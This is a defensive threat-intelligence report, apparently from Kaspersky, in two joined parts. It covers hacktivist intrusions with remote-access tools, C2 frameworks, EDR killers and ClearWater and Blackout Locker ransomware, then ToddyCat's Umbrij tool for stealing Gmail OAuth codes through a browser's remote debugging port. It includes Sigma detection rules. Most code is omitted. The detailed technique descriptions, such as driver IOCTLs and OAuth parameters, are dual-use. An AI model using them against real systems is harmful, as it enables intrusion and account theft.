Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.
The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.
First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.
Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:
Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.
To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].
As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.
Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.
The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.
At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.
After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.
The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.
Publicly available utilities
As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:
AnyDesk: a remote administration tool
Advanced IP Scanner: a network scanning utility
Dev Tunnels: a Microsoft service used for exposing a server to the internet
Panorama9: an IT infrastructure management and monitoring service
Nezha Monitoring: a server status monitoring utility
Tactical RMM: a remote monitoring and management tool
C2 and communications
To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.
Among the publicly available tools in the group’s arsenal are:
Sliver
Havoc
Apollo Mythic
Adaptix
We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.
Sliver
On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.
Contents of the SFX archive
The install.bat script contents
The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.
The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.
The backupagnt.exe loader code
All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.
Havoc
Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.
Apollo
Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.
Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:
This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.
Adaptix
AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.
The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.
According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.
AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.
Example agent configuration
Example of agent requests pinging the C2 address, as flagged by Kaspersky solutions and displayed in Kaspersky Threat Lookup
BlackSalt Backdoor
During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.
Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.
Main backdoor loop
The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.
EDR killers
In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.
On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.
The general workflow plays out as follows:
In user mode, the program finds the PID of the target process.
It opens a handle to \\.\Warsaw_PM.
It constructs a buffer containing the target process’s PID.
It calls DeviceIoControl.
The driver executes the calls:
ZwOpenProcess;
ZwTerminateProcess.
The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.
Example of the process list storage inside the EDR killer
Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:
Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.
Example of output from the GhostDriver utility
The tool operates through the following stages:
Identify target processes The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
Enumerate system processes To locate PIDs, the tool relies on standard Windows APIs:
CreateToolhelp32Snapshot
Process32First
Process32Next
Generate a list of processes to kill.
Load the vulnerable driver This is the core phase of the utility’s operation. During this step:
The sys driver is written to disk.
A SERVICE_KERNEL_DRIVER type service is created.
The driver is kicked off via the Service Control Manager (SCM).
GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).
It contains the CVE-2023-44976 vulnerability, which allows it to:
Accept user-mode commands via DeviceIoControl.
Perform operations on processes from kernel mode.
Bypass security mechanisms, including Protected Process.
Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.
GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.
After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.
Example of the adversary command execution launching GhostDriver:
Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.
Connection to the ClearWater ransomware
Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.
Original function names preserved within the Trojan’s body
When executed, ClearWater logs its progress in a separate console window.
The console window displayed upon launching the Trojan
File encryption
Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.
For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.
The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.
Additional functionality
Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.
Ransom note:
Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.
ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).
Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).
Two variants of the desktop and lock screen image
To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:
Deletes shadow copies using the following commands:
Wipes the backup catalog and disables Windows Restore:
Removes restore points:
Disables the system startup recovery option:
ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:
In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.
Rust dropper
The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:
After that, it launches the renamed executable.
Blackout Locker
The primary tool deployed in the attacks in question is an updated version of Blackout Locker.
Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.
During the initial phase, the screen locker file is created under the following paths:
To launch the screen locker, several tasks are created:
The screen locker is also written to the following registry keys:
After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:
The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.
Screen locker
During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:
On the lock screen, it may look like this:
Other samples deploy a ransom note in Russian:
If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.
Attack geography
The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.
While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.
Takeaways
The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.
This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.
Detection by Kaspersky solutions
Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.
For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.
GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.
Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.
ClearWater execution graph in Kaspersky Cloud Sandbox
Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.
Visualization via Research Graph on Kaspersky Threat Intelligence Portal
Kaspersky Threat Lookup demonstrating the connection between malicious files and the attackers’ IP address
Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.
For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.
Introduction
We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP a
We continue to share details on the malicious techniques and toolsets used by the ToddyCat APT group. In the first part of this report, we examined the group’s attacks aimed at stealing data from browsers, as well as from local and cloud email services. The methods used in that campaign indicated that ToddyCat was attempting to access corporate correspondence while evading monitoring tools. However, all of the group’s methods we described previously are effectively detected by EPP and EDR solutions.
The attackers continued their search for ways to bypass security solutions and developed a new tool to gain access to a victim’s cloud account via the Google API. Armed with this tool, the group automated all stages of the attack and managed to remain undetected by monitoring systems.
In this part of the report, we break down the mechanics of this new attack and analyze the tool that was used to automate it. We’ll also discuss how to detect and defend against this threat.
Umbrij
In this campaign, the attackers focused their attention on corporate email communications hosted on Gmail, targeting access compromise via APIs. Because the Google API relies on the OAuth 2.0 protocol for authorization, applications can use an OAuth token to access requested email resources. To acquire this token, the threat actors developed a tool called Umbrij and used it to connect to the browser’s management console in headless mode via a remote debugging port. Through a series of requests, they obtained an OAuth authorization code, which they subsequently exchanged for an access token to reach the target resources via the API. We have dubbed this technique Shadow Token via Remote Debug (STRD).
This attack is viable on Chromium-based browsers. If the user has not logged out of their Gmail account, the browser maintains an active session. The attackers exploit this: they launch the browser, connect via the remote debugging port to take control, and send a request to the Gmail service to grant access to the Google account resources within the context of the user’s saved session.
During our investigation of this attack, we discovered several versions of the Umbrij tool. These versions included a variety of helper functions designed for debugging, as well as for searching and selecting user accounts within the browser, among other tasks.
Kaspersky solutions detect this tool with the following verdicts: HEUR:Trojan-PSW.MSIL.Umbrij.gen, HEUR:Trojan.MSIL.Agent.gen, HEUR:Trojan-PSW.MSIL.Agent.gen.
Execution
The Umbrij tool was discovered during a proactive threat hunting operation: a scheduled task, KasperskyEndpointSecurityEDRAvp, was running on a user host, launching a digitally signed file. Kaspersky solutions do not create scheduled tasks with that name; the attackers were attempting to masquerade their malicious activity as a legitimate process.
The signed file then used the DLL sideloading technique to load the malicious tool.
Umbrij execution events within Kaspersky Managed Detection and Response
Throughout our observation period, we identified the following legitimate files vulnerable to the DLL sideloading technique that were used to launch Umbrij:
BDSubWiz.exe: a component of the Submission Wizard in Bitdefender ConnectAgent, which is used to support connection features and interaction with other Bitdefender services or agents. This file insecurely loads a file named log.dll.
VSTestVideoRecorder.exe: a component of the video-recording tool used for testing with Visual Studio (VS Test). This executable insecurely loads a file named Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll.
GoogleDesktop.exe: the discontinued Google Desktop Search application for indexing files and performing quick searches on a local Windows computer. This executable insecurely loads a file named GoogleServices.dll.
These files were used to load different versions of Umbrij; the same legitimate file could be leveraged to launch more than one variant. In total, we discovered three versions of Umbrij, which we refer to as a, b, and c for convenience.
The tool itself is a DLL written in .NET and obfuscated with ConfuserEx, an open-source obfuscator for .NET applications.
Example of an obfuscated code snippet
Umbrij is managed with the help of parameters passed through a command line at startup, although it is occasionally executed without any parameters. Below are examples of the command lines observed in attacks against users:
However, these are not the only parameters the tool can accept and process. During the analysis of its executable code, we discovered additional parameters that vary depending on the version of Umbrij. See the table below for the parameters and their descriptions.
Version
Command
Description
a
-regex <string>
Used in conjunction with the -deepsearch parameter. Specifies a substring to search for within the user_name field of the user profile file, which typically contains the email address. The tool will utilize the user profile that matches this specified substring
a
-user <username>
Specifies the system username under which the tool will run
a
-runas-currentuser
Configures Umbrij to run within the execution context of the current user
a
-deepsearch
Enforces additional checks on the user_name field in the user profile: verifying that it is not empty and that it contains the substring specified in the -regex parameter
a, b, c
-path <path>
Specifies the full path to the directory containing the browser’s executable file
a, b, c
-browser <both|msedge|chrome>
Specifies which browser the tool should target: Google Chrome, Microsoft Edge, or both
a, b, c
-debugport <port>
Specifies the remote debugging port number
a, b, c
-sync
When this parameter is specified in the URL, the value 1095133494869 replaces 279448736670 in the permission request
b
-domainAd
Specifies the domain name if the user account is a domain account
b
-savepdf
Instructs Umbrij to save a screenshot of the user profile as a PDF file
c
-lport
Same as debugport
Environment preparation
At startup, the tool evaluates several prerequisites required to carry out the attack and performs preparatory actions to subsequently compromise the Gmail account.
First, Umbrij verifies the availability of the port that will be designated for browser debugging. To accomplish this, the tool utilizes a function named ChekPortAvailable() (original spelling retained), which accepts the target port number as a parameter. It then retrieves information about active connections on the host using the .NET GetActiveTcpConnections() function from the System.Net.NetworkInformation namespace. The tool iterates through each connection in a loop, comparing the port number to the one it is checking.
The ChekPortAvailable function used to verify open ports
After this, the tool retrieves the user context. It searches the system for the explorer.exe process and duplicates its token, retaining all of its privileges (T1134.003 Access Token Manipulation: Make and Impersonate Token). This is the exact same mechanism used by another tool in the group’s arsenal, TomBerBil, which we covered previously.
The ImpersonateWithProcess function used to retrieve user context
By default, Umbrij duplicates the token of the first explorer.exe process it encounters. If multiple users are logged in to the system, the -user <username> switch can be used to specify the name of the target user whose token to duplicate. If the -runas-currentuser switch is specified, the tool will execute within the context of the current user without duplicating any tokens.
Next, Umbrij constructs the path to the browser application folder within the user’s local application data repository. To do this, it uses the Environment.SpecialFolder.LocalApplicationData command to retrieve the repository directory from the environment variable and appends the directory of the target browser. The tool then searches for the Local State file in the following folders:
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
See below for an example of the Local State file structure.
Structure of the Local State JSON file
Within this file, the tool searches for the info_cache array, which stores information about browser user profiles. Umbrij enumerates all user profiles and looks for those containing a user_name field that includes an email address. The presence of an email address indicates that the user is authenticated to a Google service. While the tool can interact with every profile it finds, if the -regex <string> parameter is passed through a command line, it searches for the specified substring within the email addresses being enumerated and proceeds exclusively with those matches.
Next, Umbrij creates the following directories for Google Chrome and Microsoft Edge, respectively:
%LOCALAPPDATA%\Google\Chrome\BackupFiles\
%LOCALAPPDATA%\Microsoft\Edge\BackupFiles\
The tool copies the following user files and folders of each target user profile into these directories:
IndexedDB: a folder containing a relational database used for client-side storage of structured data
Local Storage: a component of the browser’s web storage that provides a key-value mechanism for storing data on the client side
Network: a folder where the browser stores files related to network requests and caching, such as the network cache and session files
Login Data: a file that stores saved passwords for various websites and applications
Login Data For Account: a file that stores credentials associated with a Google account or other synchronized accounts within the browser
Preferences: a file containing profile-level browser settings
Secure Preferences: a file that stores protected configurations, such as security and synchronization data
Web Data: a file that stores auto-fill data
If these files are locked by other processes, the tool includes a dedicated function to force-copy them.
The ForceCopyFolder function used to copy files locked by other processes
As the next step, the tool searches the “Program Files” and “Program Files (x86)” directories for the browser installation folder. Once it locates the executable file and successfully copies all required files, it is ready to proceed with acquiring the authorization code.
Acquiring the authorization code
In the next phase of execution, Umbrij launches Google Chrome, Microsoft Edge, or both browsers sequentially, depending on the parameters passed in the command line. It then passes arguments to the browser based on the following template:
It populates the template with the following values:
{0}: the path to \BackupFiles\, where the user profile files were copied
{1}: the path to the browser executable file
{2}: the remote debugging port number
The table below describes the parameters used in this browser launch template:
Parameter
Description
–user-data-dir
Specifies the path to the root directory that will store the shared browser data and user profiles
–remote-debugging-port
Opens a port for remote browser debugging over the DevTools protocol. This switch is commonly used for automated testing with frameworks like Selenium
–profile-directory
Specifies the name of the specific profile folder within the user-data-dir
–headless
Launches the browser in headless mode, that is, without a graphical user interface
The browser process runs in headless mode while utilizing the copied user profile. Consequently, all active user cookies are applied, which means sites with saved credentials will skip authentication prompts. Furthermore, the browser will log history to a new folder, keeping it completely hidden from the user’s primary account view.
Through this method, the threat actors gain access to the user’s authenticated sessions — specifically their Google account — along with the ability to erase any trace of their activity within the browser.
Code snippet showing Umbrij connecting to the browser via the debugging port
Next, the tool uses the Puppeteer Sharp library, a .NET version of Puppeteer, to connect to the remote debugging port. Puppeteer provides a high-level API to control Chrome or Chromium browsers over the DevTools protocol. Its primary use is for automated testing.
The Puppeteer module GitHub page
If the connection to the remote debugging port is successful, Umbrij sends a GET request to direct the browser to the following URL:
The value specified in the client_id field belongs to Google Workspace Migration for Microsoft Outlook (GWMMO). This is Google’s official tool for importing email, calendar events, and contacts from Microsoft Exchange accounts or local PST files into a Google Workspace account.
Umbrij also includes the ability to switch the client_id value from 279448736670 to 1095133494869 by using the -sync parameter. This second identifier belongs to another application: Google Workspace Sync for Microsoft Outlook (GWSMO), which allows users to sync email, calendars, and other data from the cloud account directly into Microsoft Outlook.
Code snippet where the client_id replacement occurs
The remaining parameters used in the request differ from those typically utilized by the legitimate applications. See the table below for a comparison of these parameters:
GET request parameter
URL used by Umbrij
Original URL
flowName=GeneralOAuthFlow
Present
Absent
code_challenge (PKCE)
Absent
Present (method=S256)
state
Absent
Present
login_hint
Absent
Present
redirect_uri
http://localhost
http://localhost:61619/callback
As seen from the list above, Umbrij omits several parameters characteristic of the legitimate applications. For instance, Umbrij drops the code_challenge parameter, normally used for data protection when retrieving an authorization code. Additionally, the tool modifies the redirection address: while the legitimate application specifies a dedicated port and a callback path, the tool simply points to localhost.
The authorization code request specifies the set of permissions for Google services required by the application. This list also differs significantly between requests issued by the legitimate application and those generated by Umbrij. The table below details the variations in the requested scopes:
After the browser navigates to the URL provided by Umbrij, the Google account selection page opens.
Account selection
Because the attackers copied the victim’s profile folder and are operating within their specific environment, the account selection options will include the currently signed-in user’s authenticated session. Umbrij identifies the corresponding element within the page’s HTML source code.
Searching for HTML code elements on the page
The tool uses JavaScript to emulate a mouse click on the elements, allowing it to proceed to the next step.
Simulating a mouse click on a page element
The subsequent step opens a page displaying the list of requested permissions.
Confirming the list of requested access permissions
As shown in the screenshot, Umbrij requests full access to email, cloud storage, and contacts. Just like in the previous step, it uses JavaScript to click the “Allow” button, which completes the authentication process.
The browser is then redirected to the local address that was specified in the redirect_uri parameter of the initial request. The tool intentionally omits a port and a path to a specific page in the redirect_uri because the true objective of this action is simply to capture the code parameter from the context of the GET request. This parameter contains the OAuth authorization code. To retrieve it, Umbrij extracts the substring located between the code= and &scope parameters.
Extracting the authorization code from the GET request
Results
Umbrij, like most other tools in ToddyCat’s arsenal, logs its actions in detail and saves them to a file. It also saves the retrieved authorization code to this log file, which the operator subsequently exfiltrates from the compromised host.
Below is an example of a log file generated by version a of the tool.
------------------------------
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] switch to sync mode.
[!] port 11111 is available!
[*] Impersonate <username> success!
[*] browser switch to chrome .
Parsing C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State ...
[*] detected profile: Profile 4 ==> <email>@gmail.com
[*] ready auth for <email>@gmail.com.
[*] Browser Exe path C:\Program Files\Google\Chrome\Application\chrome.exe.
[!] CreateProcessAsUserW...
[*] Browser created with pid 3108
[???] <email>@gmail.com
[pup] mail : <email>@gmail.com
[pup] account choice click !
[pup] Allow click !
[<email>@gmail.com] 4%2F0AcvDMrDtzQaC-TT8<hash>uMhg
[*] RevertToSelf succeed!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The log indicates that the sync mode is selected (meaning the Google Workspace Sync for Microsoft Outlook application is used) and the debugging port is set to 11111. After locating the user profile and copying its folder, Umbrij launches Google Chrome. After this, the tool emulates clicks on the appropriate buttons to confirm permissions, ultimately outputting the final result of the operation: the stolen OAuth authorization code.
Since all requests occur within a background browser instance, the tool includes a feature to generate a PDF snapshot of the web page where the permission confirmation process halted in the event of an error.
Saving a web page as a PDF file in the case of an error
Additionally, the tool can create a PDF file for the user profile in Google Chrome and Microsoft Edge by navigating to the following internal addresses:
edge://profile-internals
chrome://profile-internals
Example contents of a generated PDF file
The acquired authorization code is then exchanged for an OAuth access token. The threat actors use that token to connect to the Gmail account through the API, thus compromising corporate email communications. The diagram below illustrates the complete attack workflow.
Umbrij workflow diagram
Detection
DLL sideloading
First and foremost, defenders should monitor library loading events (DLL loads) associated with the known applications vulnerable to DLL sideloading that are exploited by this tool: Bitdefender ConnectAgent, Visual Studio, and Google Desktop Search.
title: Possible Dll Hijacking Of Microsoft VisualStudio QualityTools dll
id: 246f1409-2993-46f6-9b77-e447a327df5d
status: experimental
description: Detects possible DLL hijacking of Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll by looking for suspicious image loads, loading this DLL from unexpected locations
author: kaspersky
date: 2025-08-11
tags:
- attack.defense-evasion
- attack.t1574.001
logsource:
product: windows
category: image_load
detection:
selection:
ImageLoaded|endswith: 'Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll'
filter:
ImageLoaded|contains: '\IDE\Extensions\TestPlatform\Extensions\'
condition: selection
falsepositives: Legitimate activity
level: high
Browser launch
Launching a browser with a remote debugging port specified is a highly unusual event on standard user hosts that are not running web application development or automated testing workflows. Consequently, monitoring for these specific command-line arguments can serve as a reliable indicator of this attack.
title: Launching Chrome With Debug Parameters
id: f072803f-3cf4-4537-82e6-e8b3a201d99f
status: stable
description: Detects the execution of Chromium based browsers launched with incognito mode and remote debugging enabled
author: kaspersky
date: 2025-12-11
tags:
- attack.lateral_movement
- attack.defense_evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- '--remote-debugging-port'
- '--headless'
condition: selection
falsepositives: Opening a browser as part of web application testing. Legitimate activity
level: high
Revoking third-party access
To review the authorization codes granted to applications, navigate to the Google Account settings under the Third-party apps & services section, or access the following URL directly:
https://myaccount.google.com/connections
This page displays a comprehensive list of applications and services that currently have permission to access the account.
List of apps connected to the Google account
